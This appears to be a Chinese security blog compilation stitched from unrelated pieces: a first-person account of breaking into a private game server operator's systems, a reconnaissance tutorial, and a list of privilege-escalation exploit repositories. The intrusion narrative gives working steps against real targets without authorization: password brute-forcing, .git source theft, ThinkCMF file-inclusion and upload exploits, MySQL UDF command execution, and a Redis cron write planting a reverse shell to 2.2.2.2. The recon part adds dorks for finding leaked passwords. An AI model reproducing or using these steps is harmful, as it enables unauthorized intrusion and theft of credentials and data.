2020年5月

碰到了一个加好友推广某手游私服的广告哥,正好周末没事做,于是找他要了app看能不能渗透进去。

1.png

apk有点大,就不解包反编译了,直接用测试手机挂bp抓包,依旧要了一大堆权限,登陆界面很简陋而且有BUG,比如实名认证的地方可以drop掉,这样无需手机号或者身份证就可以注册账户登录。
游戏呢,是这样的(宣传视频)

2.png

但app用了全流量加密,所有的包都是乱码,就不截图了。
随手在百度site一下,发现个OA

3.png

没有验证码,且会提示用户名是否正确,看起来是可以爆破的

4.png

admin的密码直接被爆破出来,不过账户被禁用了

5.png

那就只能爆破其他用户名,再分别爆破他们的密码。成功登陆

6.png

不过后台没有任何利用点,没有SQL注入,没有上传点。
结果还是只能扫目录这种粗暴的活儿,扫了没几秒。

7.png

目录遍历+.git泄露,不过有php的目录无法遍历

8.png

用Githack脱源码
https://github.com/lijiejie/GitHack

9.png

收获不少,配置文件中有内网redis和mysql

10.png

一些隐藏的接口

11.png

以及最重要的,二次开发的cms版本

12.png

thinkcmf是有两个比较新的漏洞的

13.png

先试试第一个,往如下接口上传文件
/index.php?g=Asset&m=Ueditor&a=upload&action=uploadimage

14.png

15.png

有权限验证,还好之前爆破出了一个账户。但是漏洞似乎修复了,只能上传图片后缀文件。
没关系,还有第二个漏洞,文件包含
index.php?a=display&templateFile=/etc/passwd

16.png

包含index.php会泄露绝对路径

17.png

第二个漏洞本可以直接getshell的,但我这儿没有成功,配合第一个漏洞也可以getshell

18.png

很新的发行版和内核,提权无望

19.png

不过还记得配置文件中的redis和mysql吗?
虽然都是内网中的服务器,不过还是值得一试。

20.png

mysql居然没有读写保护,那么可以通过udf执行命令

select * from func;显示有sys_eval就可以执行命令

21.png

22.png

不过mysql服务器不通外网,权限也很低,再试试redis服务器
由于oa服务器上没有redis客户端,所以我用curl的dict协议来操作局域网redis

23.png

flushall
config set dir /var/spool/cron/
config set dbfilename root
set 0 "\n\n*/1 * * * * bash -i >& /dev/tcp/2.2.2.2/8088 0>&1\n\n"
save

等了一分钟,弹回root权限shell

24.png

history之后发现redis服务器上部署了gocron

25.png

和oa服务器用的一个数据库,密码带salt,解不出来,只能新增一个账户登录进去

26.png

这个系统可以新建crontab,里面刚好有游戏服务器的节点,写入反弹shell的命令,至此渗透完毕。

27.png

域名信息收集

域名介绍(Domain Name):是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时标识计算机的电子方位。
例如:www.baidu.com
whois是用来查询域名的IP以及所有者等信息的传输协议。就是一个用来查询域名是否被注册,以及注册域名的详细信息的数据库(如域名所有人,域名注册商)
whois协议。基本内容是,先向服务器的TCP端口43 建立一个连接发送查询关键字并加上回车换行,然后接收服务器的查询结果。
whois查询:
whois查询的重要性:通过whois查询可以获得域名注册者邮箱地址等信息。一般情况下对于中小型网站域名注册者就是网站管理员。利用搜索引擎对whois查询到的信息进行搜索,获取更多域名注册者的个人信息。
whois查询方法:
1.Web接口查询:
https://whois.aliyun.com/
https://www.whois365.com/cn/
http://whois.chinaz.com/
https://whois.aizhan.com/

1.png

2.通过whois命令行查询
在kali linux下自带了whois查询工具,通过命令 whois 域名 进行查询

2.png

与在线网站查到的信息是一样的。
ICP备案查询方法:
Web接口查询:
http://www.beianbeian.com/
http://www.miitbeian.gov.cn/publish/query/indexFirst.action
https://www.tianyancha.com/

子域名信息收集

子域名,凡顶级域名前加前缀的都是该顶级域名的子域名,子域名根据技术的多少分为二级子域名,三级子域名,多级子域名。
子域名是某个主域的二级域名或多级域名,在防御措施严密情况下无法直接拿下主域,那么就可以采用迂回战术拿下子域名,然后无限靠街主域。
1.子域名挖掘工具:Maltego CE、wydomain、subDomainsBrute、dnsmaper。layer子域名挖掘机。
2.搜索引擎挖掘, 如:在谷歌中输入site:sina.com
3.第三方网站查询:
http://tool.chinaz.com/subdomain
https://dnsdumpster.com
4.证书透明度公开日志枚举:
https://crt.sh/
http://censys.io/
5.其他途径
https://phpinfo.me/domain
http://dns.aizhan.com
CMS指纹识别

称为内容管理系统,用于网站内容文章管理
常见CMS:dedecms(织梦)、Discuz、phpcms等。
CMS在线识别工具
http://whatweb.bugscaner.com/look/
http://www.yunsee.cn/finger.html
本地工具 whatweb
御剑web指纹识别
大禹CMS识别程序 https://github.com/Ms0x0/Dayu
针对CMS漏洞查询
对于查询到的CMS可以利用 https://bugs.shuimugan.com 网站进行查询
探测工具
1.御剑(2020出了最新版本的御剑,有兴趣的可以找找)

3.png

工具界面

4.png

感觉应该不错的。
2.wwwscan命令行工具
3.dirb命令行工具
4.dirbuster扫描工具
5.wpscan(kali自带)

端口信息

windows命令行中使用netstat -anbo查看开放端口
端口收集
1.使用nmap探测。nmap -A -v -T4 目标ip
2.使用masscan探测(kali自带)
3.使用在线网站探测 http://tool.chinaz.com/port/
端口攻击
攻击者通过收集信息知道用户的哪个端口开启,就会知道怎么进行攻击,攻击方式多种多样常见的针对远程连接的服务端口有22、23、3389、5900、5632等端口,当然其他扫描到的端口可以在搜索引擎中查找对应的攻击方法进行测试。因为我也是小白,就先了解一下(多了解点知识总没坏处)
防御措施
1.关闭不必要的端口
2.对重要业务的服务端口设置防火墙
3.经常性更改用户密码
经常更新软件,打补丁(patch)

敏感信息收集

1.Google hack是指使用谷歌等搜索引擎对某些特定的网络主机漏洞进行搜索

5.png

Google hacking数据库: https://www.exploit-db.com/google-hacking-database/
例如:查询Access数据: filetype:mdb "standard jet" (password | username | user | pass)
2.Github信息泄露
github之邮件配置信息泄露:site:github.com smtp 、site:github.com smtp @qq.com
github之数据库信息泄露; site:github.com sa password 、 site:github.com root password、site:github.com User ID='sa' ;Password
github之svn信息泄露:site:github.com svn 、 site:github.com svn username
github综合信息泄露: site:github.com password 、 site:github.com ftp ftppassword 、 site:github.com 密码 、site:github.com 内部

真实IP地址收集

CDN就是内容分发网络,是构建在网络之上的内容分发网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。
判断CDN存在
通过ping 方法
这是一个存在CDN的网站,我尝试ping方法看到它是存在CDN的。

6.png

但是这个IP,是访问不了的。这里我没有将这个IP打码,就是因为这个。

7.png

通过设置代理或者利用在线ping网站来使用不同地区的Ping服务器来测试目标
http://ping.chinaz.com
绕过CDN
如果目标没有使用CDN,可以通过ping获取IP地址。或者利用在线网站 http://www.ip138.com
使用了CDN,那就绕过CDN来获取真实的IP地址
1.内部邮箱源,收集到内部邮箱服务器IP地址
2.网站phpinfo文件 phpinfo.php
3.分站IP地址,查询子域名 CDN很贵,很有可能分站就不再使用CDN。
4.国外访问 https://asm.ca.com/en/ping.php
因为有些网站设置CDN可能没有把国外的访问包含进去,所以可以这么绕过.
还是刚才那个有CDN的网站,这里就看出有许多的IP,不一样。

8.png

5.查询域名解析记录 https://viewdns.info/
验证IP地址
因为通过各种方法得到的IP地址有好多,就说明有的是伪IP,无法访问,这就需要逐个验证,方法简单但是信息量比较大,目前我还没了解到什么方法快速筛选,因为只是了解这些知识基础。
利用IP地址对Web站点进行访问,如果正常表明是真实的IP地址,否则不为真。

项目地址:https://github.com/lyshark/Windows-exploits

1.png

2.png

3.png

4.png

5.png

Windows平台提权漏洞集合

项目地址:https://github.com/SecWiki/windows-kernel-exploits

6.png

各大平台提权工具

项目地址:https://github.com/klsfct/getshell

7.png

Windwos辅助提权脚本

项目地址:https://github.com/ianxtianxt/win-exp-

8.png

SweetPotato修改版,用于webshell下执行命令

项目地址:https://github.com/uknowsec/SweetPotato

9.png

Webshell下提权执行命令

项目地址:https://github.com/uknowsec/getSystem

10.png

Linux平台提权漏洞集合

https://github.com/s0wr0b1ndef/Linux-Kernel-Exploites